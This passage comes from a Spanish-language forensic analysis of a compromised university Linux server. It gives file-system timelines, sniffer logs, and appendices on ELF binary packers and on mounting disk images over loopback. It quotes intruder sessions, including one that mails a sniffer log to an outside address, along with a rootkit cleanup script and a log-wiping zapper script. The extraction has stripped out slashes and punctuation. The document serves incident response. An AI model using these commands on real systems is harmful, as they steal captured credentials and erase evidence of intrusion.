204146 a -rw-r--r-- root root xusrlibgcc-libi486-linux270libgcca

El diacutea 14 se ejecuta un cliente de ftp ncftp

Sep 14 01 004250 146881 a -rwxr-xr-x root bin xusrbinncftp

Los iacutendices de acceso del sistema cromanionwashingtonedu (aka cromanion) muestran un login al siste-ma quakerwashingtonedu (aka quaker) a las 1403 del horario EST o +0300 horas maacutes de PST) lo quedescribe las conexiones de las maacutequinas lotherdalewashingtonedu XXXXXXXXXXXXXwashingtonedu yXXXXXXXXXXXXwashingtonedu

XXX ftp XXXXXXXXXXXXXXX Sat Sep 14 0346 - 0408 (0021)XXX ftp XXXXXXXwashingt Sat Sep 14 0346 - 0346 (0000)XXX ftp XXXXXXXXXXXXXX Sat Sep 14 0338 - 0340 (0002)XXX ftp XXXXXXXXXXXXXwa Sat Sep 14 0337 - 0339 (0002)XXX ftp XXXXXXXXXXXXwas Sat Sep 14 0319 - 0320 (0000)

Hay solo una ocurrencia de utilizacioacuten del comando ncftp registrada por el sniffer el diacutea 14 del Sep (liacutenea 347 entcplog) Tambieacuten podemos encontrar huellas de otra conexioacuten del XXXXXXXXXXXX

XXXXXXXXXXXXXwashingtonedu =gt XXXXXXXwashingtonedu [23]rsquoW$ 3840038400vt100bdoor

passwordw

36

su r00tcd etvccd lscat etc tcplog | mail hackeraccounthotmailcomcat etc tcplog | mail hackeraccounthotmailcomncftp -u lscp tcplog 1lsncftp -y XXXXXX[A[D[D[D[D[D[D[D[Du

----- [Timed Out]

El log de la sesioacuten anterior muestra que el fichero log del sniffer ha sido enviado a una direccioacuten de correo electroacutenicoDespueacutes de cuatro horas alguien emite un comando whoami y luego antildeade y elimina algunos ficheros dentro deldirectorio oculto

Sep 14 01 040742 3797 a -rwxr-xr-x root bin xusrbinwhoamiSep 14 01 040818 1024 mc drwxr-xr-x root root xetc___

El diacutea 14 del Sep se ejecuta el binario inidentd Este servicio sirve para asociar el nombre de usuario con un intentode conexioacuten a un servicio remoto Esta aplicacioacuten se utiliza por algunas redes de IRC Puede significar que alguienrealizoacute una conexioacuten a un servidor IRC desde la maacutequina comprometida

Tambieacuten tuvieron lugar varias conexiones al servidor POP de correo inpop3d al servicio Berkeley r inrlogindy una conexioacuten al servicio NFS rpcmountd Una vez establecida la conexioacuten se ejecutoacute el comando id (este es unvestigio de un exloit ADM mountd buffer overrun)

El exploit suele crear un shell iniciado a partir del UID del servicio NFS mountd que suele ser UID=0 El intrusoaprovechando del shell crea un directorio vartmpXXXXX y instala varias puertas traseras utilidades para limpiarlos ficheros log y un sniffer Modificacioacuten de algunos ficheros log indican que a la hora de entrada se ejecutaron lasutilidades de eliminacioacuten de huellas (zapper) que restablecieron el tamantildeo del fichero log a 0 bytes

Sep 14 01 202514 13004 a -rwxr-xr-x root bin xusrsbininidentdSep 14 01 222452 15029 a -rwxr-xr-x root bin xusrsbininpop3dSep 15 01 022224 23421 a -rwxr-xr-x root root xusrsbininrlogindSep 15 01 022307 25217 a -rwxr-xr-- root bin xusrsbinrpcmountdSep 15 01 022308 7705 a -rwxr-xr-x root bin xusrbinidSepX 15 01 022422 28550 mac -rwxr-xr-x root root xvartmpXXXXXprogramsfix

37

13508 a -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

Sep 15 01 022423 13508 mc -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

1375 mac -rwxr-xr-x root root xvartmpXXXXXprogramsreadme

Sep 15 01 022439 26314 mc -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 mc -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022441 26314 a -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 a -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022443 1126 mc -rwxr-xr-x root root xvartmpXXXXXprogramsclean

XX mac -rwxr-xr-x root root xvartmpXXXXXprogramsimapdis

Sep 15 01 022459 4665 a -rwxr-xr-x root bin xusrbinbasenameSep 15 01 022503 0 mac -rw-r--r-- root root xvarlogcronSep 15 01 022504 0 ma crw-rw-rw- root root xdevttyp3Sep 15 01 022506 0 a -rw-r--r-- root root xvarlogdebugSep 15 01 022508 0 a -rw-r--r-- root root xvarloglastlogSep 15 01 022512 2699 a -rw-r--r-- root root xvarlogsyslogSep 15 01 022515 131968 a -rwxr-xr-x root bin xusrbingawk

5941 a -rwxr-xr-x root bin xusrbinwc0 a -rw-r--r-- root root xvarlogxferlog

1024 mc drwxr-xr-x root root xvartmpXXXXX1126 a -rwxr-xr-x root root xvartmpXXXXXprogramsclean

Sep 15 01 022554 2802 mc -rwxr-xr-x root root xetcrcdrcinet2Sep 15 01 022613 12288 mc -rw-rw-r-- root root xetcpsdevtabSep 15 XX 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPSSep 15 01 022837 0 a crw-rw-rw- root root xdevptyp2Sep 15 01 022838 0 mc crw-rw-rw- root root xdevptyp2

0 mac crw-rw-rw- root root xdevttyp2Sep 15 01 022958 0 mc -rw-r--r-- root root xvarloglastlogSep 15 01 023006 0 mc -rw-r--r-- root root xvarlogxferlogSep 15 01 023103 66973 a -rwxr-xr-x root bin xbintelnetSep 15 01 023501 1024 mc drwxr-xr-x root root xvarlog

0 mac -rw-r--r-- root root xvarlogsulogSep 15 01 023516 0 mc -rw-r--r-- root root xvarlogdebug

38

Sep 15 01 023551 0 ma crw-rw-rw- root root xdevptyp3Sep 15 01 023552 0 c crw-rw-rw- root root xdevptyp3

0 c crw-rw-rw- root root xdevttyp3Sep 15 01 032157 1649 m -rw-r--r-- root root xetcpasswdOLDSep 15 01 032224 7317 a -rwxr-xr-x root bin xbinkillallSep 15 01 032240 58605 a -rwxr-xr-x root bin xbinps

25 a -rw-r--r-- root root xdevXXXXXXXXPS

La siguiente actividad aparece en la liacutenea 471 en tcplog (el fichero log del sniffer entre 14 Sep 0346 de la liacutenea 348y 17 Sep 2013 desde la fecha de uacuteltima modificacioacuten del fichero)

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [143]

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXXlinux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXX-linux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootr00tlinux38400t----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [23]rsquoP$ 3840038400linuxXXXXX

XXX

39

r00tfingercd vartmpls -alrm -rf bashftp XXXXXXXXXXXXanonymousassget XXXXtgzquituittar zxvf XXXXtgzchmod +x INSTALLls -al

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt GGGGGGGXXXXXXXXXXXXX [23]rsquoP$ 3840038400linuxr00t

pico etcrcdircinetd2rpcmomomomountd[A11mountd[A2pmountd[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C [B[D[D[B[D[B[D ypico etcinetdconf[6~[6~killall -HUP inetdcat etcinetdconfps auxkill -9 cd devmkdir XXXXXXXXcd XXXXXXXXpico LSXXXXXXXXXXXXXypico PS3 bindshell3 linsnifferyps auxkill -9 2541f

40

----- [Timed Out]

Eso muestra que el intruso estaba editando el fichero de configuracioacuten del rootkit referente al modus operandi de lautilidad ls (llamado LS) para esconder ficherosdirectorios con cadenas XXXXXX yo JJJJJJJJ en sus nombresTambieacuten ha modificado el fichero de configuracioacuten del rootkit para la utilidad ps (llamado PS) para esconder procesosbindshell y linsniffer en sus nombres

La letra y que aparece en las cadenas XXXXXXy y linsniffery son huellas del usuario que nos informan que hasido utilizado el editor pico El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X Siel fichero ha sido modificado de alguna forma el siguiente texto aparece

Save modified buffer (ANSWERING No WILL DESTROY CHANGES)

El usuario entonces debe teclear la letra y para guardar el fichero y salir El sniffer no captura el mensaje delsistema pero siacute el y Las entradas log del sniffer aquiacute muestran que se creoacute el directorio XXXXXXXX doacutende fueroninsertados los ficheros de configuracioacuten del rootkit y editados en siguiente orden Podemos observarlo en el listado demactime posiblemente atando este evento al diacutea 15 del XXX a las 0226

Sep 15 01 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPS

El diacutea 16 del Sep alguien crea una copia de seguridad del log del sniffer (snifferlogsave) movieacutendolo al directoriovartmpXXXXprograms Este fichero muestra los intentos de entrada de otros intrusos que tambieacuten acceden alfichero tcplog

Sep 16 01 215534 36088 a -rwxr-xr-x root bin xbinnetstatSep 16 01 215827 1024 mc drwxrwxrwx root root xvartmpSep 16 01 215852 6 a -rw-r--r-- root root xroottemptxtSep 16 01 225033 1024 a drwxr-xr-x root root xvartmpXXXXXSep 16 01 225102 6644 a -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 16 01 225716 1024 a drwxr-xr-x root root xvartmpXXXXXprograms

Sep 16 01 233951 1024 mc drwxr-xr-x root root xvartmpXXXXXprograms

4992 mac -rw-r--r-- root root xvartmpXXXXXprogramssnifferlogsave

41

El fichero roottemptxt contiene la uacutenica palabra blah en la liacutenea y una liacutenea en blanco Actualmente no se conocepara que sirvioacute el fichero El diacutea 17 del XXX se modifica la contrasentildea de alguacuten usuario se crea un fichero de copiade seguridad

Sep 17 01 124450 153384 a -rws--x--x root bin xusrbinpasswdSep 17 01 124505 1649 mc -rw-r--r-- root root xetcpasswd

1649 c -rw-r--r-- root root xetcpasswdOLD

A continuacioacuten el diacutea 17 del Sep alguien accede al servidor a traveacutes de telnet Por lo visto se obtiene el UIDdel usuario lp Modificaciones en devconsole indican que ocurrioacute tambieacuten una entrada de usuario en la consolafiacutesica Fechas de modificacioacuten han sido cambiadas en la aplicacioacuten de los logs del sniffer etc__tcplog y tambieacutenvartmpXXXXXprogramssnifferlog que significa que las aplicaciones han sido desactivadas

Sep 17 01 201344 296 a -rw-r--r-- root root xetchostsdeny40907 a -rwxr-xr-x root bin xusrsbintcpd

Sep 17 01 201345 40685 a -rwxr-xr-x root bin xusrsbinintelnetd25 mc -rw-rw-r-- root root xvarspoollp1status

Sep 17 01 201346 0 m crw-rw-rw- root root xdevconsole0 a crw-rw-rw- root root xdevptyp00 m crw-rw-rw- root root xdevttyp0

18476 mc -rw-r--r-- root root xetc___tcplog6644 mc -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 17 01 201350 0 c crw-rw-rw- root root xdevconsole0 c crw-rw-rw- root root xdevptyp00 c crw-rw-rw- root root xdevttyp0

El diacutea 18 de Sep se ejecuta la aplicacioacuten sendmail Las huellas en el sistema de ficheros nos muestran queposiblemente se envioacute a una direccioacuten de correo electroacutenico el fichero log del sniffer tcplog

Sep 18 01 053026 164060 a -r-sr-Sr-x root bin xusrsbinsendmail

Aparte de analizar el sistema de ficheros con detenimiento se han recuperado todos los ficheros eliminados utilizandola utilidad unrm de TCT Una examen de los ficheros recuperados mostroacute eliminacioacuten de algunos ficheros log yscripts El siguiente es una parte del script de instalacioacutenlimpieza que estaacute incluido con el rootkit

cp vartmpimap-d vartmpXXXXXprogramsimapdisrm -rf vartmpimap-decho 6 cleaning logs

42

cd vartmpXXXXXcp vartmpclean vartmpXXXXXprogramscleanrm -rf vartmpcleanvartmpXXXXXprogramsclean XXXXXXX 1gtdevnull 2gtdevnullvartmpXXXXXprogramsclean XXXXXX 1gtdevnull 2devnullvartmpXXXXXprogramsclean XXXX 1gtdevnull 2gtdevnullecho rootkit completeecho rember to disable imapdecho EOF

El siguiente es una parte del fichero log que muestra intentos de conexioacuten de intrusos

Sep 11 152611 XXXX infingerd[864] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX intelnetd[865] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX telnetd[865] ttloop peer died Try againSep 11 152612 XXXX inpop3d[866] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152613 XXXX intelnetd[867] connect from XXX-XXX-14XXXXXXXXXXXX

Sep 12 053620 XXXX intelnetd[1126] connect from DDDDDDXXXXXXXXX

Sep 12 110152 XXXX intelnetd[1213] connect from EEEEEEEXXXXXXSep 12 110221 XXXX su XXXXX on devttyp1

Sep 12 110428 XXXX inrlogind[1229] connect from CCCCCCCCXXXXXXXXXXXSep 12 110444 XXXX inrlogind[1230] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 110857 XXXX su XXXXX on devttyp1Sep 12 111119 XXXX su XXXXX on devttyp1

Sep 12 113305 XXXX intelnetd[1290] connect from AAAAAAXXXXXXXXXSep 12 113316 XXXX login 1 LOGIN FAILURE FROM AAAAAAXXXXXXXXX XXXSep 12 113321 XXXX login 2 LOGIN FAILURES FROM AAAAAAXXXXXXXXX XXX

Sep 12 113402 XXXX su XXXXX on devttyp1Sep 12 114152 XXXX wuftpd[1327] connect from BBBBBBBXXXXXXXXXSep 12 114157 XXXX ftpd[1327] USER XXXXXSep 12 114159 XXXX ftpd[1327] PASS passwordSep 12 114200 XXXX ftpd[1327] SYSTSep 12 114201 XXXX ftpd[1327] CWD tmpSep 12 114206 XXXX ftpd[1327] TYPE ImageSep 12 114206 XXXX ftpd[1327] PORTSep 12 114206 XXXX ftpd[1327] STOR mountdSep 12 114208 XXXX ftpd[1327] QUITSep 12 114208 XXXX ftpd[1327] FTP session closedSep 12 120025 XXXX intelnetd[1342] connect from AAAAAAXXXXXXXXX

43

Sep 12 120025 XXXX telnetd[1342] ttloop peer died Try again

Sep 12 125437 XXXX inrlogind[1358] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 195330 XXXX intelnetd[1459] connect from XXXX-XX-118XXXXXXXXXXXX

Sep 12 234732 XXXX intelnetd[1525] connect from XXXXXXXXXXXXXXXXXXXXXXXSep 12 234741 XXXX login 1 LOGIN FAILURE FROM XXXXXXXXXXXXXXXXXXXXXXX XXXXXSep 12 234855 XXXX su XXXXX on devconsoleSep 13 001238 XXXX intelnetd[1569] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 001254 XXXX su XXXXX on devconsole

Sep 13 064612 XXXX intelnetd[1673] connect from XXXXXXXXXXSep 13 070801 XXXX intelnetd[1679] connect from GGGGGGGXXXXXXXXXXXXXXXXXSep 13 070814 XXXX su XXXXX on devconsole

Sep 13 083005 XXXX intelnetd[1728] connect from FFFFFFFXXXXXXXXXXXXXXXXXSep 13 083022 XXXX intelnetd[1731] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 083234 XXXX intelnetd[1733] connect from FFFFFFFXXXXXXXXXXXXXXXXX

Sep 13 095842 XXXX su XXXXX on devconsole

El siguiente ejemplo es un extracto de script zapper que elimina las huellas dejadas por el intruso o restablece eltamantildeo de los ficheros log a 0 bytes No se sabe si existe una copia de este script en el sistema de ficheros activo

1 binbash

WHAT=$(binls -F varlog | grep -v | grep -v | grep -v tgz | grep -v gz | grep -v tar | grep -v )

for file in $WHATline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)echo -n Cleaning $file ($line lines)grep -v $1 varlog$file gt newmv -f new varlog$filenewline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)let linedel=$(($line-$newline))echo $linedel lines removed

doneecho

44

Los siguientes cadenas de texto pertenecen al fichero wtmp (leiacutedo por la utilidad last) Las horas no son obvias aquiacutepero los nombres de hosts siacute lo son

ftp4264ttyp13XXXXXXXXXXXXXXXXXttyp1Pftp46263XXXXXXXXXXXXXXXXXttyp13XXXXXXXXXXXXXXXXXftp4626ttyp1Pftp46393XXXXXXXXXXXXXXXXXXPftp4639Pftp46533XXXXXXXXXXXXXXXXXXftp4653Pftp47433XXXXXXXXXXXXXXXXXXXXX

11 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios

111 Introduccioacuten

Los sistemas operativos UnixLinux BSD se consideran por los especialistas como avanzados seguros y establesdebido a su disentildeo de arquitectura y gestioacuten de procesos

Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix)COFF (Unix System V) ECOFF (MipsAlfpha) XCOFF (IBM RS6000 AIX) y finalmente ELF (el sucesor de COFFque ofrece muacuteltiples secciones y valores posibles de 32 o 64 bits) Mientras que los sistemas operativos win32 tienenMZ (dos) NE (Windows 3xx) y PE (Win9xNT)

La popularidad y el enfoque comercial de sistemas win32 obligoacute a las empresas desarrolladoras de software invertirfondos y horas en proteccioacuten de sus aplicaciones para evitar obligar a los usuarios comprar el software Desde el

45

principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

